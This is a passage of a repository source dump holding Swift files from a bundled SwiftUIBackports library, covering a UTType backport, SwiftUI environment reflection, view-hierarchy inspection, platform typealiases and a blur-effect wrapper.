[String]] {\n            let params = UTTypeCopyDeclaration(identifier as CFString)?.takeRetainedValue() as? [CFString: Any]\n            let spec = params?[kUTTypeTagSpecificationKey] as? [String: Any]\n            let mimeTypes = spec?[Backport.UTTagClass.mimeType.rawValue] as? [String] ?? []\n            let extensions = spec?[Backport.UTTagClass.filenameExtension.rawValue] as? [String] ?? []\n            return [.mimeType: mimeTypes, .filenameExtension: extensions]\n        }\n\n        public var supertypes: Set<Self> {\n            let params = UTTypeCopyDeclaration(identifier as CFString)?.takeRetainedValue() as? [String: Any]\n            let types = params?[String(kUTTypeConformsToKey)] as? [String] ?? []\n            return .init(types.compactMap(Self.init))\n        }\n\n        /**\n         Create an array of types given a type tag.\n\n         - Parameters:\n         - tag: The tag, such as a filename extension, for which a set of\n         types is desired.\n         - tagClass: The class of the tag, such as `.filenameExtension`.\n         - supertype: Another type that the resulting types must\n         conform to. If `nil`, no conformance is required.\n\n         - Returns: An array of types, or the empty array if no such types were\n         available. If no types are known to the system with the specified\n         tag but the inputs were otherwise valid, a dynamic type may be\n         provided.\n         */\n        public static func types(tag: String, tagClass: Backport.UTTagClass, conformingTo type: Self?) -> [Self] {\n            let identifiers = UTTypeCreateAllIdentifiersForTag(\n                tagClass.rawValue as CFString, tag as CFString,\n                type?.identifier as CFString?\n            )?.takeRetainedValue() as? [String]\n            return identifiers?.compactMap(Self.init) ?? []\n        }\n\n        /**\n         Tests for a conformance relationship between the receiver and another\n         type.\n\n         - Parameters:\n         - type: The type against which conformance should be tested.\n\n         - Returns: If the two types are equal, returns `true`. If the receiver\n         conforms, directly or indirectly, to `type`, returns `true`.\n         Otherwise, returns `false`.\n\n         - SeeAlso: isSupertype(of:)\n         - SeeAlso: isSubtype(of:)\n         */\n        public func conforms(to type: UTType) -> Bool {\n            UTTypeConformsTo(\n                identifier as CFString,\n                type.identifier as CFString\n            )\n        }\n\n        /**\n         Tests if the receiver is a supertype of another type.\n\n         - Parameters:\n         - type: The type against which conformance should be tested.\n\n         - Returns: If `type` conforms, directly or indirectly, to the receiver\n         and is not equal to it, returns `true`. Otherwise, returns `false`.\n\n         - SeeAlso: conforms(to:)\n         - SeeAlso: isSubtype(of:)\n         */\n        public func isSupertype(of type: UTType) -> Bool {\n            type.conforms(to: self) && self != type\n        }\n\n        /**\n         Tests if the receiver is a subtype of another type.\n\n         - Parameters:\n         - type: The type against which conformance should be tested.\n\n         - Returns: If the receiver conforms, directly or indirectly, to `type`\n         and is not equal to it, returns `true`. Otherwise, returns `false`.\n\n         - SeeAlso: conforms(to:)\n         - SeeAlso: isSupertype(of:)\n         */\n        public func isSubtype(of type: UTType) -> Bool {\n            conforms(to: type) && self != type\n        }\n\n        public func hash(into hasher: inout Hasher) {\n            hasher.combine(identifier)\n        }\n\n        public static func == (lhs: Self, rhs: Self) -> Bool {\n            UTTypeEqual(lhs.identifier as CFString, rhs.identifier as CFString)\n        }\n    }\n}\n\npublic extension Backport<Any>.UTType {\n    /**\n     Create a type given a type identifier.\n\n     - Parameters:\n     - identifier: The type identifier.\n\n     - Returns: A type, or `nil` if the type identifier is not known to the\n     system.\n     */\n    init?(_ identifier: String) {\n        guard UTTypeIsDeclared(identifier as CFString) else { return nil }\n        self.identifier = identifier\n    }\n\n    /**\n     Create a type given a MIME type.\n\n     - Parameters:\n     - mimeType: The MIME type for which a type is desired.\n     - supertype: Another type that the resulting type must conform to.\n     Typically, you would pass `.data`.\n\n     - Returns: A type. If no types are known to the system with the\n     specified MIME type and conformance but the inputs were otherwise\n     valid, a dynamic type may be provided. If the inputs were not valid,\n     returns `nil`.\n\n     This method is equivalent to:\n\n     ```\n     UTType(tag: mimeType, tagClass: .mimeType, conformingTo: supertype)\n     ```\n     */\n    init?(mimeType: String, conformingTo type: Self) {\n        guard let identifier = UTTypeCreatePreferredIdentifierForTag(\n            Backport.UTTagClass.mimeType.rawValue as CFString,\n            mimeType as CFString,\n            type.identifier as CFString\n        )?.takeRetainedValue() as? String else { return nil }\n        self.identifier = identifier\n    }\n\n    /**\n     Create a type given a filename extension.\n\n     - Parameters:\n     - filenameExtension: The filename extension for which a type is\n     desired.\n     - supertype: Another type that the resulting type must conform to.\n     Typically, you would pass `.data` or `.package`.\n\n     - Returns: A type. If no types are known to the system with the\n     specified filename extension and conformance but the inputs were\n     otherwise valid, a dynamic type may be provided. If the inputs were\n     not valid, returns `nil`.\n\n     This method is equivalent to:\n\n     ```\n     UTType(tag: filenameExtension, tagClass: .filenameExtension, conformingTo: supertype)\n     ```\n\n     To get the type of a file on disk, use `URLResourceValues.contentType`.\n     You should not attempt to derive the type of a file system object based\n     solely on its filename extension.\n     */\n    init?(filenameExtension: String, conformingTo type: Self) {\n        guard let identifier = UTTypeCreatePreferredIdentifierForTag(\n            Backport.UTTagClass.filenameExtension.rawValue as CFString,\n            filenameExtension as CFString,\n            type.identifier as CFString\n        )?.takeRetainedValue() as? String else { return nil }\n        self.identifier = identifier\n    }\n\n    /**\n     Create a type given a type tag.\n\n     - Parameters:\n     - tag: The tag, such as a filename extension, for which a type is\n     desired.\n     - tagClass: The class of the tag, such as `.filenameExtension`.\n     - supertype: Another type that the resulting type must conform to.\n     If `nil`, no conformance is required.\n\n     - Returns: A type. If no types are known to the system with the\n     specified tag but the inputs were otherwise valid, a dynamic type\n     may be provided. If the inputs were not valid, returns `nil`.\n     */\n    init?(tag: String, tagClass: Backport.UTTagClass, conformingTo type: Self?) {\n        guard let identifier = UTTypeCreatePreferredIdentifierForTag(\n            tagClass.rawValue as CFString,\n            tag as CFString,\n            type?.identifier as CFString?\n        )?.takeRetainedValue() as? String else { return nil }\n        self.identifier = identifier\n    }\n\n    /**\n     Gets an active `UTType` corresponding to a type that is declared as\n     \"exported\" by the current process.\n\n     - Parameters:\n     - identifier: The type identifier for which a type is desired.\n     - parentType: A parent type that the resulting type is expected to\n     conform to. If `nil`, conformance to either `.data` or `.package`\n     is assumed.\n\n     - Returns: A type.\n\n     Use this method to get types that are exported by your application. If\n     `identifier` does not correspond to any type known to the system, the\n     result is undefined.\n\n     You would generally use this method by assigning its value to a\n     `static let` constant in an extension of `UTType`:\n\n     ```\n     extension UTType {\n     static let myFileFormat = UTType(exportedAs: \"com.example.myfileformat\")\n     }\n     ```\n     */\n    init(exportedAs identifier: String, conformingTo type: Self? = nil) {\n        if let decl = UTTypeCopyDeclaration(identifier as CFString)?.takeRetainedValue() as? [String: Any],\n           let identifier = decl[String(kUTTypeIdentifierKey)] as? String {\n            let plist = Bundle.main.infoDictionary?[String(kUTExportedTypeDeclarationsKey)] as? [[String: Any]]\n            let isRegistered = plist\n                .flatMap { $0 }?\n                .compactMap { $0[String(kUTTypeIdentifierKey)] as? String }\n                .contains { $0 == identifier }\n            ?? false\n\n            if isRegistered {\n                self.identifier = identifier\n            } else {\n                assertionFailure(UTTypeError.expectedExport(identifier).localizedDescription)\n                self.identifier = \"\"\n            }\n        } else {\n            assertionFailure(UTTypeError.exportMissing(identifier).localizedDescription)\n            self.identifier = \"\"\n        }\n    }\n\n    /**\n     Gets an active `UTType` corresponding to a type that is declared as\n     \"imported\" by the current process.\n\n     - Parameters:\n     - identifier: The type identifier for which a type is desired.\n     - parentType: A parent type that the resulting type is expected to\n     conform to. If `nil`, conformance to either `.data` or `.package`\n     is assumed.\n\n     - Returns: A type whose identifier may or may not be equal to\n     `identifier`, but which is functionally equivalent.\n\n     Use this method to get types that are imported by your application. If\n     `identifier` does not correspond to any type known to the system, the\n     result is undefined.\n\n     You would generally use this method in the body of a `static` computed\n     property in an extension of `UTType` as the type can change over time:\n\n     ```\n     extension UTType {\n     static var competitorFileFormat: UTType { UTType(importedAs: \"com.example.competitorfileformat\") }\n     }\n     ```\n\n     In the general case, this method returns a type with the same\n     identifier, but if that type has a preferred filename extension and\n     _another_ type is the preferred type for that extension, then that\n     _other_ type is substituted.\n     */\n    init(importedAs identifier: String, conformingTo type: Self? = nil) {\n        if let decl = UTTypeCopyDeclaration(identifier as CFString)?.takeRetainedValue() as? [String: Any],\n           let identifier = decl[String(kUTTypeIdentifierKey)] as? String {\n            let plist = Bundle.main.infoDictionary?[String(kUTImportedTypeDeclarationsKey)] as? [[String: Any]]\n            let isRegistered = plist\n                .flatMap { $0 }?\n                .compactMap { $0[String(kUTTypeIdentifierKey)] as? String }\n                .contains { $0 == identifier }\n            ?? false\n            \n            if isRegistered {\n                self.identifier = identifier\n            } else {\n                assertionFailure(UTTypeError.expectedImport(identifier).localizedDescription)\n                self.identifier = \"\"\n            }\n        } else {\n            assertionFailure(UTTypeError.importMissing(identifier).localizedDescription)\n            self.identifier = \"\"\n        }\n    }\n}\n\nprivate enum UTTypeError: LocalizedError {\n    case importMissing(String)\n    case exportMissing(String)\n    case expectedImport(String)\n    case expectedExport(String)\n\n    var errorDescription: String? {\n        switch self {\n        case let .importMissing(identifier):\n            return \"Type \\\"\\(identifier)\\\" was expected to be declared and imported in Info.plist, but it was not found.\"\n        case let .exportMissing(identifier):\n            return \"Type \\\"\\(identifier)\\\" was expected to be declared and exported in Info.plist, but it was not found.\"\n        case let .expectedImport(identifier):\n            return \"Type \\\"\\(identifier)\\\" was expected to be imported in Info.plist, but it was exported instead.\"\n        case let .expectedExport(identifier):\n            return \"Type \\\"\\(identifier)\\\" was expected to be exported in Info.plist, but it was imported instead.\"\n        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/Environment+String.swift",
    "content": "import SwiftUI\n//\n\nprivate extension EnvironmentValues {\n\n    func containsValue(forKey key: String) -> Bool {\n        return value(forKey: key) != nil\n    }\n\n    func value<T>(forKey key: String, from mirror: Mirror, as: T.Type) -> T? {\n        // Found a match\n        if let value = mirror.descendant(\"value\", \"some\") {\n            if let typedValue = value as? T {\n                print(\"Found value\")\n                return typedValue\n            } else {\n                print(\"Value for key '\\(key)' in the environment is of type '\\(type(of: value))', but we expected '\\(String(describing: T.self))'.\")\n            }\n        } else {\n            print(\"Found key '\\(key)' in the environment, but it doesn't have the expected structure. The type hierarchy may have changed in your SwiftUI version.\")\n        }\n\n        return nil\n    }\n\n    /// Extracts a value from the environment by the name of its associated EnvironmentKey.\n    /// Can be used to grab private environment values such as foregroundColor (\"ForegroundColorKey\").\n    func value<T>(forKey key: String, as: T.Type) -> T? {\n        if let mirror = value(forKey: key) as? Mirror {\n            return value(forKey: key, from: mirror, as: T.self)\n        } else if let value = value(forKey: key) as? T {\n            return value\n        } else {\n            return nil\n        }\n    }\n\n    func value(forKey key: String) -> Any? {\n        func keyFromTypeName(typeName: String) -> String? {\n            let expectedPrefix = \"TypedElement<EnvironmentPropertyKey<\"\n            guard typeName.hasPrefix(expectedPrefix) else {\n                print(\"Wrong prefix\")\n                return nil\n            }\n            let rest = typeName.dropFirst(expectedPrefix.count)\n            let expectedSuffix = \">>\"\n            guard rest.hasSuffix(expectedSuffix) else {\n                print(\"Wrong suffix\")\n                return nil\n            }\n            let middle = rest.dropLast(expectedSuffix.count)\n            return String(middle)\n        }\n\n        /// `environmentMember` has type (for example) `TypedElement<EnvironmentPropertyKey<ForegroundColorKey>>`\n        /// TypedElement.value contains the value of the key.\n        func extract(startingAt environmentNode: Any) -> Any? {\n            let mirror = Mirror(reflecting: environmentNode)\n\n            let typeName = String(describing: type(of: environmentNode))\n            if let nodeKey = keyFromTypeName(typeName: typeName) {\n                if key == nodeKey {\n                    return mirror\n                }\n            }\n\n            // Environment values are stored in a doubly linked list. The \"before\" and \"after\" keys point\n            // to the next environment member.\n            if let linkedListMirror = mirror.superclassMirror,\n               let nextNode = linkedListMirror.descendant(\"after\", \"some\") {\n                return extract(startingAt: nextNode)\n            }\n\n            return nil\n        }\n\n        let mirror = Mirror(reflecting: self)\n\n        if let firstEnvironmentValue = mirror.descendant(\"_plist\", \"elements\", \"some\") {\n            if let node = extract(startingAt: firstEnvironmentValue) {\n                return node\n            } else {\n                return nil\n            }\n        } else {\n            return nil\n        }\n    }\n\n}\n\n@propertyWrapper\ninternal struct StringlyTypedEnvironment<Value> {\n    final class Store<Value>: ObservableObject {\n        var value: Value? = nil\n    }\n\n    @Environment(\\.self) private var env\n    @ObservedObject private var store = Store<Value>()\n\n    var key: String\n\n    init(key: String) {\n        self.key = key\n    }\n\n    private(set) var wrappedValue: Value? {\n        get { store.value }\n        nonmutating set { store.value = newValue }\n    }\n}\n\nextension StringlyTypedEnvironment: DynamicProperty {\n    func update() {\n        wrappedValue = env.value(forKey: key, as: Value.self)\n    }\n}\n\n@propertyWrapper\ninternal struct EnvironmentContains: DynamicProperty {\n    final class Store: ObservableObject {\n        var contains: Bool = false\n    }\n\n    @Environment(\\.self) private var env\n\n    var key: String\n    @ObservedObject private var store = Store()\n\n    init(key: String) {\n        self.key = key\n    }\n\n    var wrappedValue: Bool {\n        get { store.contains }\n        nonmutating set { store.contains = newValue }\n    }\n\n    func update() {\n        wrappedValue = env.containsValue(forKey: key)\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/Environment.swift",
    "content": "import SwiftUI\n//\n\n/*\n The following code is for debugging purposes only!\n */\n\n#if DEBUG\nextension EnvironmentValues: CustomDebugStringConvertible {\n    public var debugDescription: String {\n        \"\\(self)\"\n            .trimmingCharacters(in: .init([\"[\", \"]\"]))\n            .replacingOccurrences(of: \"EnvironmentPropertyKey\", with: \"\")\n            .replacingOccurrences(of: \", \", with: \"\\n\")\n    }\n}\n\nstruct EnvironmentOutputModifier: ViewModifier {\n    @Environment(\\.self) private var environment\n\n    func body(content: Content) -> some View {\n        content\n    }\n}\nextension View {\n    func printEnvironment() -> some View {\n        modifier(EnvironmentOutputModifier())\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/Inspect.swift",
    "content": "import SwiftUI\n//\n\n#if os(iOS) || os(macOS)\n\ninternal extension PlatformViewController {\n    func ancestor<ControllerType: PlatformViewController>(ofType type: ControllerType.Type) -> ControllerType? {\n        var controller = parent\n        while let c = controller {\n            if let typed = c as? ControllerType {\n                return typed\n            }\n            controller = c.parent\n        }\n        return nil\n    }\n\n    func sibling<ControllerType: PlatformViewController>(ofType type: ControllerType.Type) -> ControllerType? {\n        guard let controller = parent, let index = controller.children.firstIndex(of: self) else { return nil }\n\n        var children = controller.children\n        children.remove(at: index)\n\n        for c in children.reversed() {\n            if let typed = c as? ControllerType {\n                return typed\n            } else if let typed = c.descendent(ofType: type) {\n                return typed\n            }\n        }\n\n        return nil\n    }\n\n    func descendent<ControllerType: PlatformViewController>(ofType type: ControllerType.Type) -> ControllerType? {\n        for c in children {\n            if let typed = c as? ControllerType {\n                return typed\n            } else if let typed = c.descendent(ofType: type) {\n                return typed\n            }\n        }\n\n        return nil\n    }\n}\n\ninternal extension PlatformView {\n    func ancestor<ViewType: PlatformView>(ofType type: ViewType.Type) -> ViewType? {\n        var view = superview\n        while let s = view {\n            if let typed = s as? ViewType {\n                return typed\n            }\n            view = s.superview\n        }\n        return nil\n    }\n\n    func sibling<ViewType: PlatformView>(ofType type: ViewType.Type) -> ViewType? {\n        guard let superview = superview, let index = superview.subviews.firstIndex(of: self) else { return nil }\n\n        var views = superview.subviews\n        views.remove(at: index)\n\n        for subview in views.reversed() {\n            if let typed = subview as? ViewType {\n                return typed\n            } else if let typed = subview.descendent(ofType: type) {\n                return typed\n            }\n        }\n\n        return nil\n    }\n\n    func descendent<ViewType: PlatformView>(ofType type: ViewType.Type) -> ViewType? {\n        for subview in subviews {\n            if let typed = subview as? ViewType {\n                return typed\n            } else if let typed = subview.descendent(ofType: type) {\n                return typed\n            }\n        }\n\n        return nil\n    }\n\n    var host: PlatformView? {\n        var view = superview\n        while let s = view {\n            if NSStringFromClass(type(of: s)).contains(\"ViewHost\") {\n                return s\n            }\n            view = s.superview\n        }\n        return nil\n    }\n}\n\ninternal struct Inspector {\n    var hostView: PlatformView\n    var sourceView: PlatformView\n    var sourceController: PlatformViewController\n\n    func `any`<ViewType: PlatformView>(ofType: ViewType.Type) -> ViewType? {\n        ancestor(ofType: ViewType.self)\n        ?? sibling(ofType: ViewType.self)\n        ?? descendent(ofType: ViewType.self)\n    }\n\n    func ancestor<ViewType: PlatformView>(ofType: ViewType.Type) -> ViewType? {\n        hostView.ancestor(ofType: ViewType.self)\n    }\n\n    func sibling<ViewType: PlatformView>(ofType: ViewType.Type) -> ViewType? {\n        hostView.sibling(ofType: ViewType.self)\n    }\n\n    func descendent<ViewType: PlatformView>(ofType: ViewType.Type) -> ViewType? {\n        hostView.descendent(ofType: ViewType.self)\n    }\n\n    func `any`<ControllerType: PlatformViewController>(ofType: ControllerType.Type) -> ControllerType? {\n        ancestor(ofType: ControllerType.self)\n        ?? sibling(ofType: ControllerType.self)\n        ?? descendent(ofType: ControllerType.self)\n    }\n\n    func ancestor<ControllerType: PlatformViewController>(ofType: ControllerType.Type) -> ControllerType? {\n        sourceController.ancestor(ofType: ControllerType.self)\n    }\n\n    func sibling<ControllerType: PlatformViewController>(ofType: ControllerType.Type) -> ControllerType? {\n        sourceController.sibling(ofType: ControllerType.self)\n    }\n\n    func descendent<ControllerType: PlatformViewController>(ofType: ControllerType.Type) -> ControllerType? {\n        sourceController.descendent(ofType: ControllerType.self)\n    }\n}\n\ninternal struct Proxy<T> {\n    let inspector: Inspector\n    let instance: T\n}\n\nextension View {\n    private func inject<Wrapped>(_ wrapped: Wrapped) -> some View where Wrapped: View {\n        overlay(wrapped.frame(width: 0, height: 0))\n    }\n\n    func `any`<T: PlatformView>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.any(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func ancestor<T: PlatformView>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.ancestor(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func sibling<T: PlatformView>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.sibling(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func descendent<T: PlatformView>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.descendent(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func `any`<T: PlatformViewController>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.any(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func ancestor<T: PlatformViewController>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.ancestor(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func sibling<T: PlatformViewController>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.sibling(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n\n    func descendent<T: PlatformViewController>(forType type: T.Type, body: @escaping (Proxy<T>) -> Void) -> some View {\n        inject(InspectionView { inspector in\n            inspector.descendent(ofType: T.self)\n        } customize: { proxy in\n            body(proxy)\n        })\n    }\n}\n\nprivate struct InspectionView<T>: View {\n    let selector: (Inspector) -> T?\n    let customize: (Proxy<T>) -> Void\n\n    var body: some View {\n        Representable(parent: self)\n    }\n}\n\nprivate class SourceView: PlatformView {\n    required init() {\n        super.init(frame: .zero)\n        isHidden = true\n#if os(iOS)\n        isUserInteractionEnabled = false\n#endif\n    }\n\n    @available(*, unavailable)\n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n}\n#endif\n\n#if os(iOS)\nprivate extension InspectionView {\n    struct Representable: UIViewRepresentable {\n        let parent: InspectionView\n\n        func makeUIView(context: Context) -> UIView { .init() }\n        func updateUIView(_ view: UIView, context: Context) {\n            DispatchQueue.main.async {\n                guard let host = view.host else { return }\n\n                let inspector = Inspector(\n                    hostView: host,\n                    sourceView: view,\n                    sourceController: view.parentController\n                    ?? view.window?.rootViewController\n                    ?? UIViewController()\n                )\n\n                guard let target = parent.selector(inspector) else { return }\n                parent.customize(.init(inspector: inspector, instance: target))\n            }\n        }\n    }\n}\n#elseif os(macOS)\nprivate extension InspectionView {\n    struct Representable: NSViewRepresentable {\n        let parent: InspectionView\n\n        func makeNSView(context: Context) -> NSView {\n            .init(frame: .zero)\n        }\n\n        func updateNSView(_ view: NSView, context: Context) {\n            DispatchQueue.main.async {\n                guard let host = view.host else { return }\n\n                let inspector = Inspector(\n                    hostView: host,\n                    sourceView: view,\n                    sourceController: view.parentController ?? NSViewController(nibName: nil, bundle: nil)\n                )\n\n                guard let target = parent.selector(inspector) else { return }\n                parent.customize(.init(inspector: inspector, instance: target))\n            }\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/NSItemProvider+Async.swift",
    "content": "import SwiftUI\nimport CoreServices\n//\n\npublic extension NSItemProvider {\n    func loadObject<T>(of type: T.Type) async throws -> T where T: _ObjectiveCBridgeable, T._ObjectiveCType: NSItemProviderReading {\n        try await withCheckedThrowingContinuation { continuation in\n            _ = loadObject(ofClass: T.self) { (value: _ObjectiveCBridgeable?, error: Error?) in\n                switch (value, error) {\n                case let (.some(value as T), nil):\n                    continuation.resume(returning: value)\n                case let (_, .some(error)):\n                    continuation.resume(throwing: error)\n                    return\n                default:\n                    return\n                }\n            }\n        }\n    }\n}\n\nextension NSData: NSItemProviderReading {\n    public static var readableTypeIdentifiersForItemProvider: [String] { [String(kUTTypeData)] }\n    public static func object(withItemProviderData data: Data, typeIdentifier: String) throws -> Self { NSData(data: data) as! Self }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/OwningController.swift",
    "content": "//\n\n#if os(iOS)\nimport UIKit\n\npublic extension UIView {\n\n    var parentController: UIViewController? {\n        if let responder = self.next as? UIViewController {\n            return responder\n        } else if let responder = self.next as? UIView {\n            return responder.parentController\n        } else {\n            return nil\n        }\n    }\n\n}\n#endif\n\n#if os(macOS)\nimport AppKit\n\npublic extension NSView {\n\n    var parentController: NSViewController? {\n        if let responder = self.nextResponder as? NSViewController {\n            return responder\n        } else if let responder = self.nextResponder as? NSView {\n            return responder.parentController\n        } else {\n            return nil\n        }\n    }\n\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/Platforms.swift",
    "content": "//\n\n#if os(iOS)\n\nimport UIKit\n\npublic typealias PlatformImage = UIImage\npublic typealias PlatformScreen = UIScreen\n\ninternal typealias PlatformView = UIView\ninternal typealias PlatformScrollView = UIScrollView\ninternal typealias PlatformViewController = UIViewController\n\nextension UIScreen {\n    @nonobjc\n    public static var mainScreen: UIScreen { .main }\n}\n\nextension UIImage {\n    public var png: Data? { pngData() }\n    public func jpg(quality: CGFloat) -> Data? { jpegData(compressionQuality: quality) }\n}\n\nextension CGContext {\n    internal static var current: CGContext? {\n        UIGraphicsGetCurrentContext()\n    }\n}\n\n\n#elseif os(macOS)\n\nimport AppKit\n\npublic typealias PlatformImage = NSImage\npublic typealias PlatformScreen = NSScreen\n\ninternal typealias PlatformView = NSView\ninternal typealias PlatformScrollView = NSScrollView\ninternal typealias PlatformViewController = NSViewController\n\nextension NSScreen {\n    public static var mainScreen: NSScreen { NSScreen.main! }\n    public var scale: CGFloat { backingScaleFactor }\n}\n\nextension NSImage {\n    public var png: Data? {\n        return NSBitmapImageRep(data: tiffRepresentation!)?.representation(using: .png, properties: [:])\n    }\n\n    public func jpg(quality: CGFloat) -> Data? {\n        return NSBitmapImageRep(data: tiffRepresentation!)?.representation(using: .jpeg, properties: [.compressionFactor: quality])\n    }\n}\n\nextension CGContext {\n    internal static var current: CGContext? {\n        NSGraphicsContext.current?.cgContext\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/SafeArea.swift",
    "content": "import SwiftUI\n//\n\n#if os(iOS) || os(tvOS)\n/*\n Since UICollectionView is not designed to support SwiftUI out of the box,\n we need to use a little trick to get the SwiftUI View's to ignore safeArea\n insets, otherwise our cell's will not always layout correctly.\n */\ninternal extension UIHostingController {\n    convenience init(rootView: Content, ignoreSafeArea: Bool) {\n        self.init(rootView: rootView)\n\n        if ignoreSafeArea {\n            disableSafeArea()\n        }\n    }\n\n    func disableSafeArea() {\n        guard let viewClass = object_getClass(view) else { return }\n\n        let viewSubclassName = String(cString: class_getName(viewClass)).appending(\"_IgnoreSafeArea\")\n        if let viewSubclass = NSClassFromString(viewSubclassName) {\n            object_setClass(view, viewSubclass)\n        }\n        else {\n            guard let viewClassNameUtf8 = (viewSubclassName as NSString).utf8String else { return }\n            guard let viewSubclass = objc_allocateClassPair(viewClass, viewClassNameUtf8, 0) else { return }\n\n            if let method = class_getInstanceMethod(UIView.self, #selector(getter: UIView.safeAreaInsets)) {\n                let safeAreaInsets: @convention(block) (AnyObject) -> UIEdgeInsets = { _ in\n                    return .zero\n                }\n                class_addMethod(viewSubclass, #selector(getter: UIView.safeAreaInsets), imp_implementationWithBlock(safeAreaInsets), method_getTypeEncoding(method))\n            }\n\n            objc_registerClassPair(viewSubclass)\n            object_setClass(view, viewSubclass)\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/String+LocalizationKey.swift",
    "content": "import SwiftUI\n//\n\nextension String {\n    internal init?(_ stringKey: LocalizedStringKey) {\n        guard let key = Mirror(reflecting: stringKey).children\n            .first(where: { $0.label == \"key\" })?.value as? String else {\n            return nil\n        }\n\n        self = NSLocalizedString(key, comment: \"\")\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/UIScene.swift",
    "content": "//\n\n#if os(iOS)\nimport UIKit\n\ninternal extension UIApplication {\n    static var activeScene: UIWindowScene? {\n        shared.connectedScenes\n            .first { $0.activationState == .foregroundActive }\n        as? UIWindowScene\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/VisualEffects/VisualEffect+iOS.swift",
    "content": "import SwiftUI\n\n#if os(iOS)\ninternal struct VisualEffectBlur<Content: View>: View {\n    /// Defaults to .systemMaterial\n    var blurStyle: UIBlurEffect.Style\n\n    /// Defaults to nil\n    var vibrancyStyle: UIVibrancyEffectStyle?\n\n    var content: Content\n\n    public init(blurStyle: UIBlurEffect.Style = .systemMaterial, vibrancyStyle: UIVibrancyEffectStyle? = nil, @ViewBuilder content: () -> Content) {\n        self.blurStyle = blurStyle\n        self.vibrancyStyle = vibrancyStyle\n        self.content = content()\n    }\n\n    public var body: some View {\n        Representable(blurStyle: blurStyle, vibrancyStyle: vibrancyStyle, content: content)\n            .accessibility(hidden: Content.self == EmptyView.self)\n    }\n}\n\nprivate extension VisualEffectBlur {\n    struct Representable: UIViewRepresentable {\n        var blurStyle: UIBlurEffect.Style\n        var vibrancyStyle: UIVibrancyEffectStyle?\n        var content: Content\n\n        func makeUIView(context: Context) -> UIVisualEffectView {\n            context.coordinator.blurView\n        }\n\n        func updateUIView(_ view: UIVisualEffectView, context: Context) {\n            context.coordinator.update(content: content, blurStyle: blurStyle, vibrancyStyle: vibrancyStyle)\n        }\n\n        func makeCoordinator() -> Coordinator {\n            Coordinator(content: content)\n        }\n    }\n}\n\nprivate extension VisualEffectBlur.Representable {\n    class Coordinator {\n        let blurView = UIVisualEffectView()\n        let vibrancyView = UIVisualEffectView()\n        let hostingController: UIHostingController<Content>\n\n        init(content: Content) {\n            hostingController = UIHostingController(rootView: content)\n            hostingController.view.autoresizingMask = [.flexibleWidth, .flexibleHeight]\n            hostingController.view.backgroundColor = nil\n            blurView.contentView.addSubview(vibrancyView)\n\n            blurView.autoresizingMask = [.flexibleWidth, .flexibleHeight]\n            vibrancyView.contentView.addSubview(hostingController.view)\n            vibrancyView.autoresizingMask = [.flexibleWidth, .flexibleHeight]\n        }\n\n        func update(content: Content, blurStyle: UIBlurEffect.Style, vibrancyStyle: UIVibrancyEffectStyle?) {\n            hostingController.rootView = content\n\n            let blurEffect = UIBlurEffect(style: blurStyle)\n            blurView.effect = blurEffect\n\n            if let vibrancyStyle = vibrancyStyle {\n                vibrancyView.effect = UIVibrancyEffect(blurEffect: blurEffect, style: vibrancyStyle)\n            } else {\n                vibrancyView.effect = nil\n            }\n\n            hostingController.view.setNeedsDisplay()\n        }\n    }\n}\n\nextension VisualEffectBlur where Content == EmptyView {\n    init(blurStyle: UIBlurEffect.Style = .systemMaterial) {\n        self.init(blurStyle: blurStyle, vibrancyStyle: nil) {\n            EmptyView()\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/Internal/VisualEffects/VisualEffect+macOS.swift",
